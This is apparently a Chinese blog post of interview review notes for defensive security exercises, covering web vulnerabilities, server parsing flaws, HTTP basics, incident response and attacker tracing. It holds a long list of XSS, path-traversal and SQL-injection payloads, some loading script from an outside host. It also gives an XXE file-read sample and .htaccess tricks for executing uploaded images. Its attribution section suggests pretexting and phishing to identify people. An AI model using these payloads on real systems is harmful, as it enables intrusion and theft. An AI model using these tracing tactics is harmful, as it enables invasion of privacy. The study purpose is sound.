护网面试知识点复习

漏洞扫描

awvs,御剑,appscan,nesson,openvas,(百度蜘蛛,降低线程,限制时间)

AWVS

启动

如果打开页面显示无法访问查看服务是否启动win+r输入services.msc找到Acunetix启动

使用

file

Targets(目标)

点击 targets返回目标列表,选择要扫描的url,点击scan开始扫描

添加目标 输入网址和描述

Vulnerabilities(漏洞)

file 返回漏洞列表

支持添加扫描类型 扫描方式 导出报告

御剑

file 可以用来扫描后台

file

扫描端口 c段

appscan

file 将url填入开始扫描

开始检测漏洞,如XSS,CSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

漏洞利用

利用XSS,CSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等漏洞拿到网站权限,比如webshell

能通过哪些漏洞利用能拿到服务器权限

sql注入漏洞

写文件 前提: file 如果可以写入文件 并且知道网站根目录 可以通过sql将webshell写入到网站根目录

也可以sqlmap中使用 os shell

命令执行漏洞

参考命令执行 可以执行命令的有

system()

passthru()

exec()

shell_exec()

` 反引号

eval()

文件包含漏洞

可以和文件上传相结合 上传一个图片马 然后利用文件包含将图片马包含到php页面

往往是通过多个漏洞相结合来拿到网站的权限

什么是sql注入漏洞

SQL注入是一种将SQL语句插入或添加到用户输入参数中,之后再将这些参数传递给后台的SQL服务器加以解析并执行

造成SQL注入的成因

  1. 对用户的输入的数据,没有进行过滤,被带到了数据库中去执行,造成了SQL注入。
  2. 程序编写者在处理程序与数据库交互时,使用字符串拼接的方式构造SQL语句

SQL注入分类

按数据类型分

整形注入(不需要闭合,不需要注释符号) 字符型注入(需要闭合,需要注释符号)

按注入语法分

联合注入 union

报错注入

原理:

构造 payload 让信息通过错误提示回显出来。

应用场景:

查询不回显内容,会打印错误信息。 update 、insert 等语句,会打印错误信息。

常用的三种方式:

floor()、updatexml()、extractvalue()

布尔型注入

延时注入

多语句查询注入

不管是报错型还是联合型都是基于整形注入和字符型注入这两种类型

什么是XSS漏洞?

攻击者在网页中插入恶意的js脚本,由于网站没有对其过滤,当用户浏览时,就触发了js脚本,造成了xss攻击。

XSS漏洞的分类?

  1. 反射型 用户输入的注入代码通过浏览器传入到服务器后,又被目标服务器反射回来,在浏览器中解析并执行。
  2. 存储型 用户输入的注入代码,通过浏览器传入到服务器后,被服务器接收存储到数据库或文件中,当其他用户再次访问这个有注入代码的页面,就触发了xss漏洞
  3. Dom型xss 它和反射型以及存储型xss的区别在于,dom型xss的代码并不需要服务器解析响应的直接参与,触发xss靠的是浏览器的dom解析,可以认为完全是客户端的事情。
  4. DOM XSS的代码不需要服务器解析响应的直接参与,触发XSS靠的是浏览器DOM解析器的解析,可以完全认为是客户端的事情。跟服务器一点关系都没有
  5. link,img 或者背景样式链接的图片地址,比如background-image(url:)替换php文件后, 可在不破坏网页的前提下探测有没有XSS,比如利用代码获取后台地址,因为这标签默认是放一条get请求到目标页面。

xss常用测试payload

'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script&gt
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert("XSS")>
<IMG SRC=javascript:alert('XSS'&#41>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav   ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
"<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<IMG SRC=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

XSS防御

对用户的输入进行严格的过滤

什么是CSRF漏洞?

参考 file

跨站请求伪造 是一种挟制用户在当前已登录的web应用程序上执行非本意的操作的攻击方法(提拉老师、强制被改密码)

CSRF:CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

攻击者通过伪造一个链接,将链接发送给目标用户,欺骗用户点击,正如上述概念所说,该链接实际上是获取某网站信任用户信息的链接,目的是在用户电脑上登陆该网站,一旦用户点击了该链接,实际上攻击就完成了。

问:如何挟制用户? 如何让用户执行非本意的操作?

举例说明: 比如用户在浏览淘宝网站的时候 给它发一个要挟制他的链接 让他点击 1,修改口袋精英密码实验。 2,银行转账实验 3,xss+csrf删帖实验

问:完成一次CSRF攻击,受害者必须一次完成哪些步骤?

1.在同一个浏览器访问,登录信任网站A,并在本地生成Cookie。 2.在不退出的情况下,访问危险网站B。

问:如何防御CSRF?

1,验证码,2,验证referer, 3,使用token

文件包含漏洞的有哪些函数?都有什么区别?

参考

include() 这个函数一般是放在流程控制的处理部分中。PHP 程序网页在读到 include 的文件时,才将它读进来。这种方式,可以把程序执行时的流程简单化 include_once() require() 这个函数通常放在 PHP 程序的最前面,PHP 程序在执行前,就会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份 require_once()

require()与include()的区别

include() 这个函数一般是放在流程控制的处理部分中。PHP 程序网页在读到 include 的文件时,才将它读进来。这种方式,可以把程序执行时的流程简单化 require() 这个函数通常放在 PHP 程序的最前面,PHP 程序在执行前,就会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份

require()与 include()的区别在于 require()执行如果发生错误,函数会输出 错误信息,并终止脚本的运行。

文件包含的分类?

本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配置选项allow_url_fopen和allow_url_include为 ON的话,则包含的文件可以是第三方 服务器中的文件,这样就形成了远程文件包含漏洞

什么是命令执行漏洞?

参考 应用在调用这些函数执行系统命令的时候,如果讲用户的输入作为 系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下, 就会造成命令执行漏洞。

问:命令执行php中可以调用外部程序的常见函数有哪些? system, exec , shell_exec, passthru, popen, proc_popen , ` 反引号

什么是文件上传漏洞?

在上传头像或者是其他文档的时候,我们通过抓包修改数据包或者其他手段上传一个脚本文件,这个脚本是带恶意代码的文件,比如一句话木马,如果上传成功就可以使用菜刀、CNIFE、蚁剑之类的工具链接这个脚本,从而达到控制网站的目的!,

问:造成恶意文件上传原因 检查不严 没有进行文件格式检查

问:如果本地不能上传文件,如何去利用包含漏洞? 找到日志存放位置,包含日志文件,包含session文件

什么是SSRF漏洞?

服务器端请求伪造 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致可以从其他服务器的获取一定量的数据

PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec()

可以进行的攻击 1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息

2.攻击运行在内网或本地的应用程序

3.对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)

4.攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)

5.下载内网资源(如:利用file协议读取本地文件等)

6.进行跳板

7.无视cdn

8.利用Redis未授权访问,HTTP CRLF注入实现getshell

什么是XXE漏洞?

有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。 xxe也就是xml外部实体注入 可以读取/etc/passwd的内容

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

Apache解析漏洞

test.php.aaa.bbb.ccc任意不属于黑名单且不属于Apache解析白名单之内的后缀名。 说明:一个文件名为test.php.aaa.bbb.ccc的文件,Apache会从ccc的位置往php的位置开始尝试解析,如果ccc不属于Apache能解析的后缀名,那么Apache就会往前尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的拓展名为止。 存在漏洞的版本apache2.0、2.1、2.4、2.5、2.6

参考

哪些后缀Apache认识,哪些不认识?有一个名为mime.types的文件,其中记录着Apache认识的后缀。在Ubuntu下,该文件位于/etc/mime.types,在Windows下,该文件位于C:/apache/conf/mime.types(类似这样的,注意Apache的安装路径)。该文件是一个一对多的映射表,定义了某一种文件类型,对应的几种后缀。除了该文件,在Apache的配置文件中,还可以用AddCharset语句添加映射,如:
AddCharset us-ascii   .ascii .us-ascii
 AddCharset ISO-2022-CN .iso2022-cn .cis
mime.types是个很长的文件,节选部分如下所示:
 application/java-archive          jar
  application/m3g                         m3g
  application/java-vm                   class
  application/javascript                js
  application/json                    json
  text/html                             html htm shtml
  text/x-diff                             diff patch
  video/x-flv                             flv
  video/x-la-asf                          lsf lsx
  video/x-mng                             mng
  video/x-ms-asf                          asf asx
  video/x-ms-wm                         wm

利用.htaccess 要想使.htaccess文件生效,需要两个条件,一是在Apache的配置文件中写上: AllowOverride All

若这样写则.htaccess不会生效:

AllowOverride None

二是Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:

LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

.htaccess文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。但我们这里只关心.htaccess文件的一个作用——MIME类型修改。如在.htaccess文件中写入: AddType application/x-httpd-php xxx 就成功地使该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件。另一种写法是:

<FilesMatch "shell.jpg">
   SetHandler application/x-httpd-php
 </FilesMatch>

该语句会让Apache把shell.jpg文件解析为php文件.

IIS解析漏洞

test.asp/任意文件名 test.asp;任意文件名 任意文件名/任意文件名.php

IIS6.0 在解析 asp 格式的时候有两个解析漏洞.

一个是如果目录名包含".asp 、.asa、.cer、.cdx "字符串,那么这个目录下所有的文件都会按照 asp 去解析。eg: “test.asp/1.jpg”
另一个是只要文件名中含有".asp;、.asa;、.cer、.cdx;会优先按 asp 来解析
eg: “1.asp;.jpg”

IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞, 对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照 php 的方式去解析 eg:”http://www.target.com/upload/1.jpg/1.php

Nginx解析漏洞

任意文件名/任意文件名.php 任意文件名%00.php

目前 Nginx 主要有这两种漏洞:

一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,
比如原本文件名是 test.jpg,可以添加为 test.jpg/x.php 进行解析攻击。
eg:http://www.target.com/upload/1.jpg/1.php”
一种是对低版本的 Nginx 可以在任意文件名后面添加%00.php进行解析攻击。
 Nginx 0.5.*
 Nginx 0.6.*
 Nginx 0.7 <= 0.7.65
 Nginx 0.8 <= 0.8.37
以上Nginx容器?的版本下,上传?一个在waf白名单之内扩展名的?
文件1.jpg,然后以1.jpg%00.php进行请求。
Nginx 0.8.411.5.6:
以上Nginx容器?的版本下,上传?一个在waf白名单之内扩展名的?
文1.jpg,然后以1.jpg%20%00.php进行请求0

burpsuite是干什么的?

有哪些常用的模块?每个模块的主要功能是什么?

最重要还是用来抓包,改包 常用模块 Proxy模块

是一个拦截HTTP/S的代理服务器(抓包),作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。

浏览器代理设置好之后 将 Intercept is off 设置为 on 之后浏览器的所有请求都会到proxy中 Target 显示目标目录结构的的一个功能

Intruder 是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。

Repeater 是一个靠手动操作来补发单独的HTTP 请求,并分析应用程序响应的工具。

Extender 可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。

Options 对Burp Suite的一些设置

怎么查看自己的网站是否被攻击过?

通过查看日志,看一段时间内,是否有相同的数据包请求

常见几个中间件的日志如下:

1.apache的日志路径一般配置在httpd.conf的目录下或者位于/var/log/http 2.IIS的日志默认在系统目录下的Logfiles下的目录当中 3.tomcat 一般位于tomcat安装目录下的一个logs文件夹下面 4.Nginx日志一般配置在nginx.conf或者vhost的conf文件中 日志一般以日期命名,方便后续审计与安全人员进行分析。

如果是在宝塔中安装的中间件配置文件一般在/www/server/nginx/conf

什么是strtus2

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在struts1和WebWork的技术基础上进行了合并的全新的Struts2框架。其全新的Struts2的体系结构与Struts1的体系结构差别巨大。Struts2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts2可以理解为WebWork的更新产品。虽然从Struts1到Struts2有着太大的变化,但是相对于WebWork,Struts2的变化很小

strtus2漏洞有哪些举一些例子

1.  S2-052漏洞是一种XML反序列化漏洞。漏洞本质是Struts2 REST插件的XStream组件存在反序列化漏洞,当使用XStream组件对XML格式的数据包进行反序列化操作时,没有对数据内容进行有效验证,存在反序列化后远程代码执行安全隐患。
2.  S2-048漏洞就是因为struts2-struts1-plugin插件中存在将OGNL表达式传入上述方法的情况,所以导致远程代码执行;
3.  S2-045漏洞和S2-046漏洞非常相似,都是由报错信息包含OGNL表达式,并且被带入了buildErrorMessage这个方法运行,造成远程代码执行,两个漏洞的PoC可以复用。

什么是反序列化漏洞?

php中围绕着serialize(),unserialize()这两个函数,序列化就是把一个对象变成可以传输的字符串,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了,可以命令执行,甚至getshell等等 HTTP协议

HTTP请求方式有哪些?

GET、POST、TRACE、DELETE、PUT、HEAD、OPTION

1OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。
3GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
4、POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form
5、PUT
向指定资源位置上传其最新内容
6DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求,主要用于测试或诊断
8CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
注意:
1)方法名称是区分大小写的,当某个请求所针对的资源不支持对应的请求方法的时候,服务器应当返回状态码405(Mothod Not Allowed);当服务器不认识或者不支持对应的请求方法时,应返回状态码501Not Implemented)。
2)HTTP服务器至少应该实现GET和HEAD/POST方法,其他方法都是可选的,此外除上述方法,特定的HTTP服务器支持扩展自定义的方法。

http和https的协议

http: 超文本传输协议,是一个基于请求与响应,无状态的,应用层的协议,常基于TCP/IP协议传输数据,互联网上应用最为广泛的一种网络协议,所有的WWW文件都必须遵守这个标准。设计HTTP的初衷是为了提供一种发布和接收HTML页面的方法。

HTTPS特点: 基于HTTP协议,通过SSL或TLS提供加密处理数据、验证对方身份以及数据完整性保护

状态码

1** 信息,服务器收到请求,需要请求者继续执行操作
2** 成功,操作被成功接收并处理
3** 重定向,需要进一步的操作以完成请求
4** 客户端错误,请求包含语法错误或无法完成请求
5** 服务器错误,服务器在处理请求的过程中发生了错误
100 Continue    继续。客户端应继续其请求
101 Switching Protocols 切换协议。服务器根据客户端的请求切换协议。只能切换到更高级的协议,例如,切换到HTTP的新版本协议
200 OK  请求成功。一般用于GET与POST请求
201 Created 已创建。成功请求并创建了新的资源
202 Accepted    已接受。已经接受请求,但未处理完成
203 Non-Authoritative Information   非授权信息。请求成功。但返回的meta信息不在原始的服务器,而是一个副本
204 No Content  无内容。服务器成功处理,但未返回内容。在未更新网页的情况下,可确保浏览器继续显示当前文档
205 Reset Content   重置内容。服务器处理成功,用户终端(例如:浏览器)应重置文档视图。可通过此返回码清除浏览器的表单域
206 Partial Content 部分内容。服务器成功处理了部分GET请求
300 Multiple Choices    多种选择。请求的资源可包括多个位置,相应可返回一个资源特征与地址的列表用于用户终端(例如:浏览器)选择
301 Moved Permanently   永久移动。请求的资源已被永久的移动到新URI,返回信息会包括新的URI,浏览器会自动定向到新URI。今后任何新的请求都应使用新的URI代替
302 Found   临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI
303 See Other   查看其它地址。与301类似。使用GET和POST请求查看
304 Not Modified    未修改。所请求的资源未修改,服务器返回此状态码时,不会返回任何资源。客户端通常会缓存访问过的资源,通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源
305 Use Proxy   使用代理。所请求的资源必须通过代理访问
306 Unused  已经被废弃的HTTP状态码
307 Temporary Redirect  临时重定向。与302类似。使用GET请求重定向
400 Bad Request 客户端请求的语法错误,服务器无法理解
401 Unauthorized    请求要求用户的身份认证
402 Payment Required    保留,将来使用
403 Forbidden   服务器理解请求客户端的请求,但是拒绝执行此请求
404 Not Found   服务器无法根据客户端的请求找到资源(网页)。通过此代码,网站设计人员可设置"您所请求的资源无法找到"的个性页面
405 Method Not Allowed  客户端请求中的方法被禁止
406 Not Acceptable  服务器无法根据客户端请求的内容特性完成请求
407 Proxy Authentication Required   请求要求代理的身份认证,与401类似,但请求者应当使用代理进行授权
408 Request Time-out    服务器等待客户端发送的请求时间过长,超时
409 Conflict    服务器完成客户端的 PUT 请求时可能返回此代码,服务器处理请求时发生了冲突
410 Gone    客户端请求的资源已经不存在。410不同于404,如果资源以前有现在被永久删除了可使用410代码,网站设计人员可通过301代码指定资源的新位置
411 Length Required 服务器无法处理客户端发送的不带Content-Length的请求信息
412 Precondition Failed 客户端请求信息的先决条件错误
413 Request Entity Too Large    由于请求的实体过大,服务器无法处理,因此拒绝请求。为防止客户端的连续请求,服务器可能会关闭连接。如果只是服务器暂时无法处理,则会包含一个Retry-After的响应信息
414 Request-URI Too Large   请求的URI过长(URI通常为网址),服务器无法处理
415 Unsupported Media Type  服务器无法处理请求附带的媒体格式
416 Requested range not satisfiable 客户端请求的范围无效
417 Expectation Failed  服务器无法满足Expect的请求头信息
500 Internal Server Error   服务器内部错误,无法完成请求
501 Not Implemented 服务器不支持请求的功能,无法完成请求
502 Bad Gateway 作为网关或者代理工作的服务器尝试执行请求时,从远程服务器接收到了一个无效的响应
503 Service Unavailable 由于超载或系统维护,服务器暂时的无法处理客户端的请求。延时的长度可包含在服务器的Retry-After头信息中
504 Gateway Time-out    充当网关或代理的服务器,未及时从远端服务器获取请求
505 HTTP Version not supported  服务器不支持请求的HTTP协议的版本,无法完成处理

常见

1XX 需要用户进一步请求
2XX 请求成功
3XX 重定向
4XX 客户端请求错误
5XX 服务端错误
200 请求成功
302 重定向
403 访问禁止
404 文件不存在
500 服务器内部错误

在HTTP请求头中user-agent、referer、cookie、x-forward-for、content-type分别表示什么?

user-agent

客户端使用的浏览器、操作系统 作用:使服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等

referer

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

cookie

Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息 。

x-forward-fro

简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP

content-type

content-type是内容类型,用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件。

应急响应

Windows排查思路?

检查系统账号,检查异常端口、进程,检查启动项、计划任务、服务,检查系统相关信息,日志分析

Windos排查工具?

PCHunter、火绒剑、SysinternalsSuite、Process Hacker、

Windows下Webshell查杀?

D盾

Linux排查思路?

账号安全、历史命令、异常端口、异常进程、开机启动项、定时任务、检查服务、检查异常文件、检查系统日志

ssh日志

在/var/log/secure可以看到登陆的情况
在/var/log/btmp中可以查看到登陆失败的记录(可通过lastb命令进行检查)
在/var/log/lastlog中可以查看最近登陆的记录 (可通过last命令进行检查)

定时任务

查看定时任务  crontab -l

使用history命令查看linux的历史操作

Linux查杀工具

chkrootkit、rkhunter、Clamav

挖矿病毒特征?

CPU或GPU占用率非常高

挖矿病毒排查思路?

查看CPU或GPU占用较高的进程,找到对应的文件

勒索病毒特征?

文件后缀名被修改,出现勒索信息文件readme.txt

溯源报告需要提交得要素如下

姓名/ID:
攻击IP:
地理位置:
QQ:
IP地址所属公司:
IP地址关联域名:
邮箱:
手机号:
微信/微博/src/id证明:
人物照片:
跳板机(可选)
关联攻击事件:

攻击溯源的技术手段

通过梳理,攻击溯源的技术手段,主要包括ip定位、ID定位与攻击者定位。
通过ip可定位攻击者所在位置,以及通过ip反查域名等手段,查询域名的注册信息,域名注册人及邮箱等信息。
通过ID定位可获取攻击者常用的网络ID,查询攻击者使用同类ID注册过的微博或者博客、论坛等网站,通过对网络ID注册以及使用情况的查询,定位攻击者所在公司、手机号、邮箱、QQ等信息。
或通过其他手段定位攻击者,如反制攻击者vps,获取攻击者vps中的敏感信息、反钓鱼、恶意程序分析溯源等手段。
通过对手机号码定位,一是通过添加某信好友查看头像、昵称、城市等;二是通过添加某宝,可以查看其部分实名信息、头像、城市、动态等;三是可以假装送外卖、送快递的,询问是不是某人,某地址等,进一步核实信息。
通过对邮箱定位,一是通过添加某宝,查看其部分实名信息、头像、城市、动态等(可以未通过邮箱主持);二是发送钓鱼邮件,控制邮箱或者掌握IP地址。
过程中若掌握攻击者的照片,可以通过百度、google等以图搜图的方式关联攻击者其他图片信息。

IP定位技术

1、  高精度IP定位:https://www.opengps.cn/Data/IP/LocHighAcc.aspx
2、  rtbasia(IP查询):https://ip.rtbasia.com/
3、  ipplus360(IP查询):http://www.ipplus360.com/ip/
4、  IP信息查询:https://www.ipip.net/ip.html/
5、IP地址查询在线工具:https://tool.lu/ip/

威胁情报工具

微步在线:https://x.threatbook.cn/

当发现某些IP的攻击后,可以尝试通过此IP去溯源攻击者,具体实现过程如下:
•   首先通过ipip.net网站或者其他接口,查询此IP为IDC的IP、CDN的IP还是普通运营商的出口IP。
•   如果IP反查到域名就可以去站长之家或者whois.domaintools.com等网站去查询域名的注册信息。
通过收集到的这些信息,就比较容易定位到人。
在通过IP定位技术溯源过程,应注意以下情况:
•   假如IP反查到的域名过多,考虑就是CDN了,就没必要继续去查了。
•   假如是普通运营商的出口IP只能使用一些高精度IP定位工具粗略估计攻击者的地址,如果需要具体定位到人,则需要更多的信息。

ID追踪技术

在通过IP定位后技术追踪攻击者,可通过指纹库、社工库等或其他技术手段抓取到攻击者的微博账号、百度ID等信息,一般通过以下技术手段实现:
1.  进行QQ等同名方式去搜索、进行论坛等同名方式搜索、社工库匹配等。
2.  如ID是邮箱,则通过社工库匹配密码、以往注册信息等。
3.  如ID是手机号,则通过手机号搜索相关注册信息,以及手机号使用者姓名等。
例如,当通过ID追踪技术手段定位到某攻击者的QQ号、QQ网名等信息,通过专业社工库可以进一步追踪攻击者使用的QQ号注册过的其它网络ID,从而获取更多攻击者信息,从而确定攻击者的真实身份。

攻击程序分析

攻击者如果在攻击过程中对攻击目标上传攻击程序(如钓鱼软件),可通过对攻击者上传的恶意程序进行分析,并结合IP定位、ID追踪等技术手段对攻击进行分析溯源,常用的恶意程序分析网站有:
微步在线云沙箱:https://s.threatbook.cn/
Virustotal:https://www.virustotal.com/gui/home/upload

蜜罐

蜜罐技术为网络安全中的一种入侵诱饵,目的是引诱黑客前来攻击,并收集黑客相关的证据和信息。

中间件端口

file file

redis 默认端口 6379 Weblogic 常见的漏洞:弱口令、反序列化、任意文件上传、未授权访问 Weblogic 默认端口:7001 3389 远程登录 3306 mysql数据库




正式面试问题

web常见漏洞

mysql端口 sqlserver端口 oracle(要知道一些常见数据库端口)

file

linux查ip命令 查端口命令

关于weblogic

给一个数据包看哪些攻击特征

会不会结合http状态码去看攻击特征除了200还会结合什么

用过什么安全工具

用过安全狗吗

反序列化漏洞有了解吗

sql注入的延时注入原理 如何防御

如何防御sql注入 xss漏洞


护网面试知识点复习
http://example.com/2021/03/13/OldBlog/hvv面试知识点复习/
作者
Autumn
发布于
2021年3月13日
许可协议